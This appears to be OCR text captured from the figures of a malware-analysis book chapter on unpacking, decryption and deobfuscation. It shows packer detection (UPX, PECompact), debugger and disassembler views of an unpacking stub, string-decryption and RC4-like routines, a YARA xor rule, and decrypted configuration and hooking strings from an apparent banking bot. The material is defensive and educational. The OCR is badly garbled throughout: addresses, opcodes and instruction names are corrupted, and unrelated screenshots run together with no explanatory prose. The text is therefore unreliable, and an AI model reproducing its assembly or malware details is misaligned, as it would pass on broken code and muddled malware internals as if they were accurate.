125 2022-02-12 2@:55:25.649401 192.168.0.3: 20.189.173.1 TCP 54 63232 - 443 [ACK] Seg=1 Ac
126 2022-02-12 2@:55:25.649549 192.168.8.31 28.189.173.1 TLSV1.2 243 Client Hello
H 127 2022-92-12 28:55:25.655486 54.67.6.201 192.168.0.31 TCP 66 443 - 59733 [ACK] Seq=181 .
i 128 2022-02-12 20:55:25.808977 54.67.6.201 192.168.0.31 TLSv1.2 111 Application Data
| 129 2022-02-12 20:55:25.809835 192.168.0.31 54.67.6.201 TCP 66 59733 - 443 [ACK] Seq=712 |

2022-02-12 20:55:25.838543 26.189.173.1 192.168.0.31 TCP 443 - 63232 [ACK] Seq=1 Ac

Frame 124: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface en®, id @
Ethernet II, Src: CompalBr_2b:78:46 (54:67:51:2b:78:46), Dst: Apple_d6:76:2a (14:7d:da:d6:76:2a)
Internet Protocol Version 4, Src: 20.189.173.1, Ds 192.168.0.31

Transmission Control Protocol, Src Port: 443, Dst Port: 63232, Seq: @, Ack: 1, Len: @

14 7d da d6 76 2a 54 67 51 2b 78 46 08 00 45 viTg Q+xF:-E
@

.
}

@@ 34 9e 82 40 0@ 68 @6 f1 bb 14 bd ad @1 c@ 4:-:@h

@0 1f @1 bb f7 8@ 60 ea 34 52 bd 58 69 f9 8@ Yo 4R-Xi

ff ff 37 58 00 60 02 84 @5 8c 01 @3 03 @8 01 %

94 82




Chapter 4: Unpacking, Decryption, and Deobfuscation

Qriginal File

Packed File

Original MZ-PE ~
header ~

Section 1 i
Packing
- -7

New MZ-PE Header

Unpacking
code

B PEID v0.95

e ' ! TN

Unpacked File
in Memory

Original MZ-PE
Header

Section 1

Section 2

~

File: | C:\work\sample.bin

Entrypoint: |00020E30

File Offset: |00007230

Linker Info: |7.0

EP Section: [UPX1
First Bytes: |g0,BE,00,A0

Subsystem: |Win32 GUI

MMM El >

|UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay] *

Task Viewer

Multi Scan

Options

About

Exit

v Stay on top

b -




EP Section: [LPK1 =
First Bytes: |&0,BE,00,30 " "
SEIEE Section Yiewer =
Subsystemn: | Win3z GUI ] :
¥ Marme | W, Offset | W, Size | F. Qffset | F. Size | Flags |
LP=0 Qo0o1000  0o01Z000 Qo0oo400 00000000 EQO000E0
Las2] LPs1 0o013000  0001E0O0 Qoooo400  00010&00  E0000040
{= e [u]
JFsrc 00031000 00002000 Qo0iDECD  00001E00 00000440
| [ Aot | [ Ex
BE
mports Viewer Imports Viewer
DilName | orignalFirstThunk | TimeD, | Forwarderchain | Name [ Frstrhunk | DilName: | crignafFirstThunk | TimeD: | ForwarderChain | Name [ Frstthunk [ &
KERNEL32.dl 00008804 00000000 00000000 O00DSIES  OODDBOSD ADVAPIZZ.dIl 00000000 00000000 00000000 001D3EB8  DDID3EIC
UseR32.dl 00008C38 00000000 00000000 00009612 00008194 coMcTLazdl 00000000 00000000 00000000 001DIESS  ODIDIESH
GoI3z.dl 0D0DBAED 00000000 00000000 000096A4 0000803C GDI32.dIl 00000000 00000000 00000000 001D3EA2 001D3E4C
SHELL32.dll 00008C1C 00000000 00000000 00009730 00008178 KERNEL32.DLL 00000000 00000000 00000000 001D3EAC 001D3E54
ADVAPI32.dIl 00003AAG 00000000 00000000 00003702 00008000 ole32.dl 00000000 00000000 00000000 001D3EB9 001D3E68
coMcTLs2.dl  DDDDBACC 00000000 00000000 O00DSBIE  0ODDBOZ3 SHELL32.dll 00000000 00000000 00000000 001DFEC3  0DID3IEFD
ole3z2.dl 00008050 00000000 00000000 00009872 000082AC user32.dll 00000000 00000000 00000000 001D3ECF 001D3E78
VERSION.dI 00008040 00000000 00000000 000038BE 00008259C VERSION.dil 00000000 00000000 00000000 001D3EDA 001D3E30 W
ThunkRYA | Thunk Offset | Thunk Value | Hint/Ordinal | APIName ThunkRVA | Thunk Offset | Thunk Value | Hint/Ordinal | APIName
00008000 00006300 00009754 0250 RegEnumKeyW DO1D3EZC 0D0BF43C DO1D3EES 0000 RegEnumkeyWi
00008004 00006304 00009768 0251 RegOperkeyEx
00008008 00006808 0000374C 0230 RegCloseKey
0000800C 0000680C 0000373C 0244 RegDeletekeyW
00003010 00006810 000037Ca 0248 RegDeleteValueW
00008014 00006814 D0DDS7AE 0239 RegCreateKeyExi
00008018 00006818 0000978C 037E RegSetvalusExw
0000801C 0000681C 00003788 026E RegQueryValusExi

Close




'QuickUnpack ¥2.1 - windowsxpZ.exe

File Log Options  Plugins  About

=10) x|

Quick Unpack 2.1 for Windows 2000/XP72003/Vista
(2] shripper engine by apd

founded by FELJERRADER [4HTeam]

[c] coded by Archer

18:04:30 - Opened windows=p2.exe
Quick zelf analyze.... PECompact 2 o
PESniffer EP Scan: PECompact vi [[LUEERGITEY|
PEID scanning... PECompact 2.x - ForcorEF by Fouarrade

Generic OEP Finder by Usar &rcher

1
5 ome— @ Oy

QEP: I Code | Attach ko process |

Full unpack

Use scripk |

Kill karget |
Test unpacked |
Find target |
Delete unpacked |
Cleat log |
Exit |

mpotk recovery
% Smark method

K~ Smart method+tracer
™ Do not recover

™ Load libraries only

d of module For impart: I Q0000000
TS delta: I n00oooon

I Cut last sections & rebuild resources

I Include suspect Functions inta impart
I Process call soojmp oo

| Execute functions while tracing impaort
I append overlay

I¥ Protect DR

K1

00400000| 00001000

0040D000 | 00004000 | Ixeshe u

00411000/ 00001000 | Ixeshe_u|UPX2 data, Dump in CPU

004E0000| 00007000 Dump

00780000 | 00003000 Search Ctrl+B

72E20000| 00001000 | WINHTTP PE he

72E21000| 0004D000 | WINHTTP |.text |code, St leonb-on-scems %

72E6E000| 00001000 | WINHTTP | .data data R o g

T2E6F000| 00005000 | WINHTTP | .rsrc reso Set memory breakpoint on write

72E74000| 00004000 | WINHTTP |.reloc |rel s = ——
72E90000| 00001000 | webio PE hez

72E91000| 00032000 | webio .text code,i  Setbresk-on-execute ko
72EC3000| 0000A000 | webio .data data } Restiwwite,
72ECD000 | 0000F000 | webio .rsrc resouy  Copytodlipboard r Execute
72EDC000 | 00003000 | webio .reloc |relocd  Sortby » Biicitaliend
73270000 | 0005C000 Appearance » LT
748D0000 | 00008000 uu:g'l'n RWE

TARINNNN | nnNITNON ITvn:n n lm I



| =@ X
@@v W » Control Panel » Sy SRl i" ']‘r“ Search Control Panel P

Control Panel Home

9 Device Manager

4 Remote settings Visual Effects | Advanced| Data Execution Prevention

9 System protection

N Jseze: Data Execution Prevention (DEP) helps protect ooalnst
% Advanced system settings Ef damage from viruses and other security threats,
does it work?

) Turn on DEP for essential Windows programs and services
only

@ Turn on DEP ftﬁaﬂ programs and services except those T
select:

2.72 GHz

fisplay

I Your computer's processor supports hardware-based DEP.

gchange settings

ok ]| conca || apoly

™ You must activate today. Activate Windows now
Product ID: 00346-339-0000007-85284  Change product key

See also
Action Center
Windows Update

Performance Information and
Tools

0040F40C |rCALL to VirtualProtect from Ixeshe a.0

0018FF48| 00008000|| size = 8000 (327

0018FF4C| 00000020 || NewProtect = PAGE EXECUTE READ
0018FF50| O040F5F4 LpoOldProtect = Ixeshe a.0040F5F4
0018FF54! 00000006



0408B87

0 8BEC MOV EBP,ESP

00408B89| 6A FF PUSH -1

00408B8B| 68 E8904000 PUSH Ixeshe u.004090E8
00408890 68 308B4000 PUSH Ixeshe u.00408B30
00408895, 64:A1 00000000 MOV EAX,DWORD PTR FS: [0]
00408B9B| 50 PUSH EAX

00408B9C| 64:8925 0000000( MOV DWORD PTR FS: [0] ,ESP
00408BA3| B83EC 68 SUB ESP, 68

00408BA6| 53 PUSH EBX ¥ |
00408BA7| 56 PUSH ESI

00408BA8B| 57 PUSH EDI

00408BA9| 8965 ES8 MOV DWORD PTR SS: [EBP-18],
00408BAC| 33DB XOR EBX,EBX

00408BAE| 895D FC MOV DWORD PTR SS: [EBP-4] ,E
00A08RR1| 62 02 RLISH 2

EBP=0018FF94

EBX
ESP
EBP
ESI

ES
CSs
S8
DS
FS
GS

L T T e e

HE1F4FC) | B1A9210B
HE19FEER | | BEECEDFZ
HE19FEES | | BETACFFS
HE1SFEES) | BET42ETE
AE1FEAC) | BREEEEZE
AE1SFE1E| | AEEAEERE
BE19FE14 || FFFFFFFF
BE1SFE1S) | aa4094568
@E19FE1C| ] BE4EE9ES
@E19FE20 || BEEeRE08
@E19FE24 || BEF4ZETES
@E19FE22 (| BEFACFFE
BA19FSEC| ZBa19FS4C
BE19FS2E| ] B1AZ1FERA
BE19FS24 || BeaCanFz
B 1FS20) | BE4B3RER
HE19FEZC) | BE4ETIEE
HE19FE4E | | BEEEEEZE
HE19FE44 ) | BEEEEEGE
HE19FE42) | FFFFFFFF
HE19FE4C| ZBA19FFSS
HETSFEEE| | BE4IIETE
HE19FEES | | BEECEDFZ
HETSFEES| | BE4BZAEA
AE1FEEC| | BR4BTI1EE

RETUEH to USERZZ2.81A9Z10E from USER2Z.MescageBoxTimeoutll

UNMICODE "™ou do not hawve administrative rights on this computer.

UMICODE "0l luDbg™

OLLYDEG. Ba409468
ASCII "Xg - Hs"

UMICODE "0l luDba™

Az a result, some debugaing features may fai

UMICODE "™You do not have sdministrative rights on this computer. As a result, some debugging features may fal

RETURM to USERZZ2.81A91FSA from USERZZ.MessagsBoxTimeoutH

ASCII "You do not have administrative rights on this computer.

ASCII "0l lvDba™

RETURHM to OLLYDEG. BE4296877 from < JMP.SUSERZE. MessageBonAl

ASCII "You do not have administrative rights on this computer.

ASCII "0l lwDbg™

FAs a result, some debugging features may fail.

As a result, some debugaing features may fail.




address |(Stack Procedure Called from Frame

001ZFeed | 778e805%4 |[Mayke ntdll  EiFastSystemlzall |ntdll .ZwRequestWaitBeplyPorl 001ZFeB88
0012FeeC|TT879522 |ntdll . ZwRegquestWaitReplyPort |ntdll 77873510 0012FeB8
0012FeB8C|T7777CBEC |ntdll . CsrflientCellServer kernel3z  7777CBee 0012Fe88
0012F770(T7T777CBEFC| ? kernel3z TT7T7TTCAE]L kernel3Z _WriteConsoled+13 0012F7&C
0012F78C|(T7777C964 | kernel3z WriteConsolel kernel3z _TT77TCS5F O0012F788
O0012F7ES |0040B543 |7 kernel3Z WriteFile hello_ 0040B53D 0012F7E4
0012FDR4 (0040B835 |7 hello. O040B1DO hello 0040BE230 O0012FB888
001ZFDES (0040B16B |7 hello.  O040B75G hello_ 0040Blee 001ZFDE4
O001ZFEOQOC (00405848 |hello.0040BOZC hello 00405843 O001ZFEOQS
O0012FE48 (004025FC |7 hello.  0040572E hello 004025F7 0012FE44
O0012FES4 (00402BAD | hello.004025ED hello.00402B2E O001Z2FEDD

| |)!)113!t§4ﬂ8
004088C5 | RETURN to Ixeshe u.004088C5 from WINHTTP.WinHttpOpen
0018EFC8 | UNICODE "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5

==
_0018FF88
00408CBA | RETURN to Ixeshe u.00408CBA from Ixeshe u.0040106E
0040&00 Ixeshe u.00400000
00408ca9| 58 POP EAX
00408CAA| 50 PUSH EAX
00408CAB| 56 PUSH ESI
00408CAC| 53 PUSH EBX
00408caD| 53 PUSH EBX
00408BCAE| FF15 38904000 |GAEBE DWORD PTR DS:[409038] ' kernel32.GetModuleHandleA
00408CB4| 50 PUSH EAX
00408CB5 ES8 B483FFFF CALL Ixeshe u.0040106E
00408CBA| 8945 98 MOV \OWORD PTR S8 [EBP-68] , EAX
00408CBD| 50 PUSH EAX
00408CBE| FF15 8C904000 |GAEE DWORD PTR DS: [40908C] MSVCRT.exit
00408B7D| 50 PUSH EAX
00408B7E| C3 RETN
00408B7F| CC INT3
00408880 |-FF25 6C904000 |JMP DWORD PTR DS: [40906C] | MSVCRT . memcpy
00408B86 55 PUSH EBP
00408B87| BBEC ¥ Mov EBP,ESP
00408B89| 6A FF PUSH -1
00408B8E| 68 E8904000 PUSH Ixeshe u.004090E8
004088B90| 68 308B4000 PUSH Ixeshe u.00408B30 JMP to MSVCRT._ except handler3
00408B95| 64:A1l 00000000 MOV EAX,DWORD PTR FS:[0]
00408B9B| 50 PUSH EAX
00408B9C| 64:8925 0000000(MOV DWORD PTR FS:[0],ESP
00408BA3| 83EC 68 SUB ESP, 68
00408BA6| 53 PUSH EBX
00408BA7| 56 PUSH ESI
00408BA8| 57 PUSH EDI
00408BA9| 8965 E8 MoV DWORD PTR SSI[EBP-18], Esp
00408BAC| 33DB XOR EBX,EBX
00408BBAE| 895D FC Mov DWORD PFRSSI[EBP4] , EBX
00408BB1| 6A 02 PUSH 2
00408BB3| FF15 AC904000 |GAEE DWORD PTR DS: [4090AC] MSVCRT. _set app type
00408BBY9| 59 POP ECX
00408BBA| 830D FCD24000 F1OR DWORD PTR DS: [40D2FC] ,FFFFFFFF
00408BC1| 830D 00D34000 FIOR DWORD PTR DS:[40D300] ,FFFFFFFF
00408BCS| FF15 A8904000 |EAELE DWORD PTR DS: [4090A8] MSVCRT. p fmode




0000000000000000 |
; Attributes: bp-based frame s
RBX 000000000040A03C |
kernel32 VirtualAlloc proc near RCX 000000005B7C561A |
RDX ©0000000000000000
pecay e RSI 000000000047B5F0 |
ol RDI 000000000047B05C |
EE i 0000000R0047B013 |
jmp off_77391394 RBP
kernel32 VirtualAlloc endp RSP 20022000R067FF40 |
RIP 0000R0007732F3C0 |
J00007732F3C0: kernel32 (Synchronized with RIP)||ps EDE24D33F4828DBA |

o & xH@StadWlew

8D 7D 51 57 56 FF ..&.HM...<3.}QWVy A
FD 38 @7 75 EE 8D %...«°.®uy8.ui.
GRSl E EzyaAd2wualAlloc

65 65 00 C@ 84 33 .Ad2wualFree.A.3
74 90 00 8B 9D AD wualProtect..«<.-

rtualalloc+B " 67FF54 00478001 s

. Graph overview O & X
g lea eax, [ebp+7Ah]
jmp eax

; END OF FUNCTION CHUNK FOR start

100.00% (203,998) (7€l1,245) 0001D€€2 0000000




Start Sddress:

Entry Paoint;

Basze of Code:

400000
1005

1C000

OllyDump - Packed_1.exe

Size: [1FOOOD Dump

-+ Modify: |D71B40 Get EIP as OEP Cancel

Base of Data: |1 EQ00

v Fix Faw Size & Offzet of Dump Image

Sechion | Yirtual Size

Yirtual Offzet | Faw Size | FRaw Offzet | Charactanstics

UF=0 Qoo1EOOO
P41 Q0002000
rarc Q0ao aao

v Rebuild [mpart
(¢ Method] : Search JMPAPI | CALLLAPI] in memany image
(" Method? : Search DLL & APl name string in dumped file

Region Dump x|

Q0007 Q0o Qoo B0 Q0007 Qa0 EQOO0030
Qo0 Coon OO00E000 0o Coon EOOO0040
Qoo EQ0n OO0 Qoo 0o Qoo COO00040

Address Size Protect Skate Type ﬂ
Qoo Qa1 00ao NO ACCESS FREE MOMNE
Q01 Qo0 Qoooz0a0 READ)WRITE COMMIT PRIVATE
Qoo 2000 QnaoeQao N ACCESS FREE MOMNE
Q0oz0000 Qnaoz0ao READWRITE COMMIT PRIVATE
Q00zz000 QaoEQQo NO ACCESS FREE MOMNE
Q00000 QaFz000 NOME RESERVE PRIVATE
Q0122000 Qoaoioao READWRITE | P... COMMIT PRIVATE
REALIYWRITE COMMIT PRIVATE
Q0130000 QnaoE0a0 READ DMLY COMMIT MAPPED
Q0133000 Qoo oo N RCCESS FREE MOMNE
Q0140000 Qoaozoao READ DMLY COMMIT MAPPED
Q0142000 QnaoeQao NO ACCESS FREE MOMNE
Q0150000 onasa000 READWRITE COMMIT PRIVATE ll
—Dump Informations
Address [ o01z3oo0 | size | ooooDoo Dump || Refresh | cose |




DE4AFB24| $-FF25 FCD25@08| JMP DWORD PTR DS [CHKFRNEI 23 RerfiwwentBrnnsss 3] I KERNFI 99 RarFiwwsn fPransss
BO4AFEZA| $-FF25 BE0SSEAE| JMP DWORD PTR DS:C<i|mports Viewe
DE4AFEEE| $-FF2E BADE5EA0| JMP OWORD FTR DS: (<
@e4AFA36( S-FF2c ansseee) Syl DWORD PTR DS: [S8{Iansme CriginalFirstThunk TimeDateStamp ForwarderChain Name FirstThunk
PE4AFBSC| $-FF25 BOOS5ARE| JMP OWORD PTR DS: (<
AR4RFR4z| S-FF25 18055098| JMP OWORD FTR DS:r<: |ADVAPI3ZDLL  0010DOCS 04AD0220 059F0000 0010D9C3  0010DOE4
504AFE4E| S-FF25 140o5o0m| JMP OWORD PTR OS:f<: |KERNEL3ZDLL  0010D100 00002000 DOF3A930 0010DSD5  0010D2B4
GR4AFA4E| 5-FF25 1S055600| JHP OWORD PTR OS:C<f | VERSIOM.DLL 00100468 T4016E72 B16C5065 0010D9E2 00100473
BO4AFEE4| $-FF25 1COZ500G| JMP OWORD PTR DS:[¢f |COMCTL3ZDLL  0010D438 00000042 DOF52308 0010DSEE 00100430
EE4AFESA| $-FF25 2E055666| JHP DWORD PTR DS:[<¢ |COMDLG32.DLL 00100493 00200000 00000000 00100SFE 0010D4AC

= i GDI32.0LL 0010D4C0O 636F6CES EE490073 0010DAD8  0010D540
DS: [MASA0BE4 1=77ALDIDA [ADUAPISZ. ReaClosekey] | 5HA | 32.DLL O010D5C0 57152101 000000585 0010DA12 00100504
Local calls from @@43CECE, BE43CA4F, 68442090, |ysER32DIL 0010D5ER 05DFOD0D 0SDFO000 O010DAIE  0010D7C3
SS:;;;; :;;‘:;ma g;z::';;z — Thunk RVA Thunk Offset | Thunk Value | Hint/Ordinal | API Name

RegClosekey

AESANAES| 77A47E0A| ADUAR 132, Realreat ekeyf 0010004 000CCHE4 OD10DAI3 0000 RegCloseKey
BESE0RET| 77A107FE| ADUAR 122, ReaDe L et ekeun 0010D0ES D0OCC4ES 0010DA%1 0000 RegCreateKeyA
BEEA0EFE| 7RALEPAE| ADUAP 132, RealpenKeuf 0010DOEC ODOCC4EC  DOD10DAS1 0000 RegDeletekeyA
BESA0AF4| 7PA103E6| ADVAP 132, Reauery Ua lugExA 0010D0OFD 000CC4F0 0010DAG1 0000 RegOpenkeyA
GEEA0EFE| 7PAL1ESFE| ADUARI 22, RegSetlalusExA 0010D0F4 000CC4r4 00 10DAGF 0000 RegQueryValueExA
EEEEDAFT | BRE008E8E 0010D0FS QO0CC4rS 0010DAS3 oooo RegSetValusExA
BEEA01 66| BE1B0DAIS
GE5A01 54| BR1B0AARS
BESA01 A5 | BE1BDABS
BESA016C| BE1B0ACD Close
BEEA01 15| BE1B0ADE

4 . 58 FPUSH ERX hKey

. E8 Cl268706

CALL <JMP.&RADUVAPIZZ2.ReaCloseKey >

RegClosekey

|DD4HEF94‘ $-FF25 E4D85608| JMP DWORD PTR DS:[<{&ADVAPI32.RegCloseKey>]

\ ADVAP132. RegC loseKey

[ |



.fi Import REConstructor v1.7e FINAL (C) 2001-2010 MackT/uCF

Attach to an Active Process

(=] & s

| c:h_toolzh_installzhimprechimportrec, exe [0000024C) ﬂ Pick DLL

Imported Functions Found

- advapi3Z. dil FThunk: 00040000 MbFunc: & [decimal:5) validYES

- comct 32 dll FThunk: 00040018 MbFunc: 2 [decimal: 2] valid:vES

- gdid2 dll FThunk: 00040024 MbFunc:1C [decimal: 28] validvES

- kermel32.dil FThunk: 00040038 MbFunc: 77 [decimal: 119) valid:YES
- ghell32. dil FThunk: 00040 273 MbFunc:1 [decimal: 1] walidES

= ¢ FThunb: 00040 280 MbFunc:BD [decimal:109) walid:MO

-~ winspoal.dry FThunk: 000404338 MbFunc: 3 [decimal: 3] walid:YES

- comdlg32. dil FThunk: 00040 443 NbFunc: 2 [decimal 2] walid:YES

Log

rea: 000401 BC farwarded from mad:ntdll dll ard:02C0 name: R0 eleteCritical S ection -
rea: 000401 70 forwarded from mod:nkdll dll ord: 0004 name: BtlinitializeCriticalS ection

Current imports:
¥ [decimal: 7] walid modulels) [added: +7 [decimal:+7

100 [decimal:263] imported funchion(z]. [added: +100 [decimal: +263]] %

AT Infoz needed Mew Import Infos [ID+45CH+LOADER]
QEFP |I:IDI]34E 55 AT AutoSearch | =17 ||:||:||:||:||:||:||:||:| Size |EIEIEIEIDBEE
R, |EIEIEI4EFFE Size |I:IDDI:II]458 W Add rew sechion

Load Tree | Save Tree | | Fiz Dump |

Show [revalid

Show Suzpect
Auto Trace

Clear Imparts

e

Clear Log

Optiong

&bt

Exit




Plaintext: N

Protected data Encrypt "
v
| Ciphertext:
.~ DkBaj9jskinc
ckwnsos8shs
Plaintext: A o

<«— Decrypt
Protected data P

Plaintext: o
Protected data — Enerypt
private key é
Ciphertext:
Wc6aj9jrkdni
pfw8s1s8shm

Plaintext: (o
<«— Decrypt

Protected data
public key




.text:100025F7
.text:100025F7
.text:100025F7
.text:100025F7
.text:108025FA
.text:100025FD
.text:100025FF
.text:106002602
.text:100082602
.text:10002602
.text:10682685
.text:100026085
.text:10002605
.text:10002606
.text:10002608
.text:1000260A

loc_100825F7:

loc_10002602:

loc_10002665:

sub
cmp
jge
add

mov

31 0
0000 1000 1000 1000 0000 1000 1000 1010
| | | \ | | | |
| N N N X X X
1010 0000 1000 1000 1000 0000 1000 1000
| | | | | | |
.text:100025E8 Loop: ; CODE XREF: DecryptFunc+38lj
.text:100025E8 movsx  eax, byte ptr [edx+esi] <::>
47
.text:100025EC cmp eax, 20h
.text:100025EF jnz short loc_100025F7
.text:100025F1 mov byte ptr [edx+esi], ©
.text:1800825F5 jmp short loc_10082605

; CODE XREF: DecryptFunc+1FTj

eax, 37h (:J/
4—

eax, 21h 2?\

short loc_ 10082602

eax, 5Eh

; CODE XREF: DecryptFunc+2DTj
[edx+esi], al <3§>
‘7

CODE XREF: DecryptFunc+257Tj

3
edx
edx, ecx

« @
short Loop <;

C:wBORSearch.exe —n 20 441855893 . pcapng 441055893
Found SHIFT B1 position 1FAAC-28): t=1&ic=Y887107218%id=441655893&kiguid={ch751d84

—77e

G




BN SANS ISC

rule xor_test{

C:%demo>yarabtd -s xor.yara test-xor.txt

Strin'QS: ®or_test test-xor.itxt
$a = "nttp:/isc sans edu” xor (EEEEHENERVELLFIEAE =Pt i Vil e
condition: . .
C:\demox»
ba
¥

.TEXT : Y4u1usA

.text:0040105A Loopl: ; CODE XREF: KSA+50!j
" |.text:0040105A mov eax, [ebp+i]

.text:0040105D cmp eax, 256

.text:00401063 jge loc_40108B

.text:00401069 jmp loc_40107B

.text:0040106E ; --------c---cecccccnrc e s

.text:0040106E

.text:0040106E loc_40106E: ; CODE XREF: KSA+60!j

.text:0040106E mov eax, [ebp+i]

.text:00401071 mov ecx, eax

.text:00401073 add eax, 1

.text:00401076 mov [ebp+i], eax
—— |.text:00401079 jmp short Loopl
.text:004010EA mov eax, [ebp+S]
.text:004010ED mov ecx, [ebp+i]
.text:004010F0 add eax, ecx
.text:004010F2 mov ecx, [ebp+S]
.text:004010F5 mov edx, [ebp+]]
.text:004010F8 add ecx, edx
.text:004010FA push ecx
.text:004010FB push eax
.text:004010FC call swap
.text:00401101 add esp, 8
.text:00401104 jmp short loc_4010A7
.text:004011F3 mov [ebﬁ+§ar;18],-eax ; var_18 --> ciphertext[n]
.text:004011F6 movsx eax, byte ptr [ecx]
.text:004011F9 xor edx, eax
.text:004011FB mov eax, [ebp+var 18]
.text:004011FE mov [eax], dl

.text:00401200 jmp loc_40115E



push eax

push ebx
push ebx
push 134h

push offset key_blob
push [ebp+hProv]

call  CryptImportKey |key blob db 7
test eax, eax db 2
jz loc_401265 db 2
db 2
v dd CALG_RSA_KEYX
|d‘a aRsa2 db 'RSA2',@




Stext:
Stext:
Stext:
Stext:
Stext:
Ltext:
Ltext:
Lext:
:18@87DF8 Srcstring
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Ltext:
Lext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Ltext:
Ltext:
Lext:
Stext:
Stext:
Stext:
:18867E28 loc_1@8a7E2B:
Stext:
Stext:
Stext:
Stext:
Stext:
Ltext:
Lext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:
Stext:

Ltext

Jtext

Ltext

198@7DFE ; Attributes: bp-based frame

laaa7DrFs

18887DF8 DecryptString
1laaa7hrFs

1aee7DFs

1@8a70F8 Max

18@@7DFE Seed

18887DF8 1

188@87DF8 DstString
1aaavDFs
1aaav7DFs
1aaa7DrF9
1aaa70FE
18aa70FE
1laaa7Eal
laga7Eas
laee7Eec
laee7Ees
laaa7Eac
laaa7Ear
18aa7EL2
18847ELS
18887ELE
18647ELR
188a7ELE
laaa7E22

proc near ; CODE XREF: sub_1888115D+23%p

= dword
= dword
= dword
= dword
= dword

push
mov
sub

; sub_186@11E9+B6Tp ...

ptr -@Ch
ptr -B
ptr -4
ptr B
ptr  @Ch

ebp

ebp, esp

esp, @Ch

eax, [ebp+SrcString]
eax, [eax]
[ebp+5eed], eax
eax, [ebp+Srcstring]
eax, [eax+4]

eax, [ebptSeed]

eax, 1@h

[ebp+1ax], eax

eax, [ebp+SrcString]
eax, B
[ebp+SrcString], eax
[ebp+i], @

short loc_18@87E2B

12 4=, B ———

1aaa7E24
18887E24 Loop:
18447E24
188a7E27
188a7E2E
18647E2B

18887E2B
18887E2E
18887E31
18887E33
18@a7ES3
18@a7E3A
18847EIF
laga7E4a2
18887E45
18887E48
1a887E4E
18887E4F
18887ES51
188e7E54
18887ES7
1a@a7ESS

18887ESE
18887E5E loc_l@@@7ESE:
186a7ESE
188a7ESE
18647EaR
18887ERL
18887E6L DecryptString

; CODE XREF: DecryptString+6lij
eax, [ebp+i]
eax
[ebp+i], eax

; CODE XREF: DecryptString+2Atj

eax, [ebp+i]

eax, [ebp+Max]

short loc_1@@87E5B

eax, [ebp+Seed], 41C64E6Dh ; Seed = Seed * @w41C64E6D + 8x3839
; Dststr[i] = SrcStr[i] - Seed

eax, 3839h

[ebpt+Seed], eax

eax, [ebpt+Srcstring]

eax, [ebp+i]

eax, byte ptr [eax]

ecx, byte ptr [ebp+Seed]

BaN, BCX ; Decryption Part

ecx, [ebp+DstString]

ecx, [ebp+i]

[ecx], al

short Laop

B L L ] B
Ltext:
Lext:
Stext:
Stext:
Stext:
Stext:
Stext:

; CODE XREF: DecryptString+391j
eax, [ebp+Max]
esp, ebp
ebp



Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Jext:
Ltext:
Ltext:
Jext:
Ltext:
Ltext:
Jtext:
Ltext:
Ltext:
Jtext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Jext:
Ltext:

1aaalain
1aaal982
laaalasyd
1aaal1988
1aaal1989
laaalasC
1aaalasD
laealoss
1aaalaas
1aaal1997
laealoss
1aaalaos
1aaa199C
laaalasn
1aaaloAs
18881945
laaalasn
laaalaaC
1aaal19AC
laaalaac
1aaalosr
laaallea
laaalaB2
1aaal9e7
18281968
laaalaBa
1aaal19BC
laaalsBD
138a19BE

loc_1@@@19AC:

push
call
pop
pop
lea
push
call
mov
test
jz
push

push
cmp
jz
mov

lea
push
push
call
pop
pop
lea
push
push
call

offset unk_1pear724

DecryptString  ; wininet.dll
ecx unk_le@eF724 db 2%h ; )
ecx
eax, [ebp+LibFi db B3h : c
eax db @FBh ; G
ds:LloadlLibraryd db 7Eh : ~
ebx, eax db  66h °
ebx, ebx db  @Fh
short loc_leeal db @E7h : =
. .
esl , db  7Eh ; ~
est, esi db 25h ; %
edi

off_leelzee4, esi

short loc_188619DF

eax, offset off_leel2eas
edi, edi

; CODE XREF: GetWininetAPIs+6B{j
ecx, [ebp+Prociame]

ecx
dword ptr [eax]

DecryptString  ; HttpAddRequestHeadersA
ecx

ecx

eax, [ebp+Prociame]

eax 5 lpProcName

ebx 3 hModule

ds:GetProcAddress



2

irectio Ty Address

Text

@ D.. p LoadMetDllsiloc_ 10001819 call
@ D.. p ChedkRapportProcess?+17  call
Elo. p sub_10002261+68 call
ED. p sub_10002261+3D call
[Ep. p sub 100022614126 call
Eo. p sub_10002DC5451 call
@ D... p RandomObiString+1A call
@ D.. p GenerateRandomString+7C  call
Eo. p sub_10002FA9+53 call
= o. p sub_10002FA9+8A call
D.. p sub_10002FAS+B1 call
EDp. p sub_10002FAS+D7 call
Eo. p sub_10002FA9+103 call
@ D.. p MalwareMain+1E call
@ D.. p MalwareMain+36 call
@ D.. p MalwareMain+4E call
@ D.. p MawareMain+DF call
@ D.. p MalwareMain+108 call
Ep. p sub_1000358B+18 call
Eo. p sub_10003588+26 call
@ D... p CreateProcessHookingFun... call
@ D.. p CreateProcessHookingFun... call
@ D... p ReagGetValueHooker +5B call
@ D.. p GetCreateProcessInternal... call
@ D.. p GetCreateProcessInternal.. call
@ D.. p GetCreateProcessInternal... call
@ D.. p ChedCurrentProcessiam... call
@ D... p ChedkCurrentProcessMam... call
@ D.. p CheckCurrentProcessMam... call
@ D.. p CheckCurrentProcessiam... call
En o sih i000418R6C  cal

QK

Decryptstring; ieframe.dl
DecryptString; rapport
DecrypitString; MOD ID="%u EXEC: %=

Decryptstring; String_AnsiToWide Fail: %6u

DecrypiString; INJ MOD: %u Status: %eu GLE: %u
DecryptSiring; OLE%R0,8X %0, 2X%60, 2% %60, 58X %60, 8%
DecryptString; {360, 8X-%00, $-2a0, S -2, -%00, S5 %0, 83}
DecryptString; {20, 8X- %00, -0, $X -%00, X-%00, %0, 83}
DecrypiString; BOT _ID:

DecrypiString; PROJECT _ID:

DecrypiString; BUILD:

DecrypiString; RAND:

DecryptString; UPDATE_VER:

Decryptstring; SeCreateGlobalPrivileges

DecrypiString

DecrypiString

DecrypiString; EROWSER START

DecrypiString; SHELL START

DecryptString; SOFTWARE\BOT

DecrypiString; COMFIG

Decryptstring; chrome.exe

Decryptstring; —use-spdy =off

DecryptString; chrome.exe

Decryptstring; CreateProcessInternality

Decryptstring; kernelbase.dl

Decrypt5tring; kernel32.dll

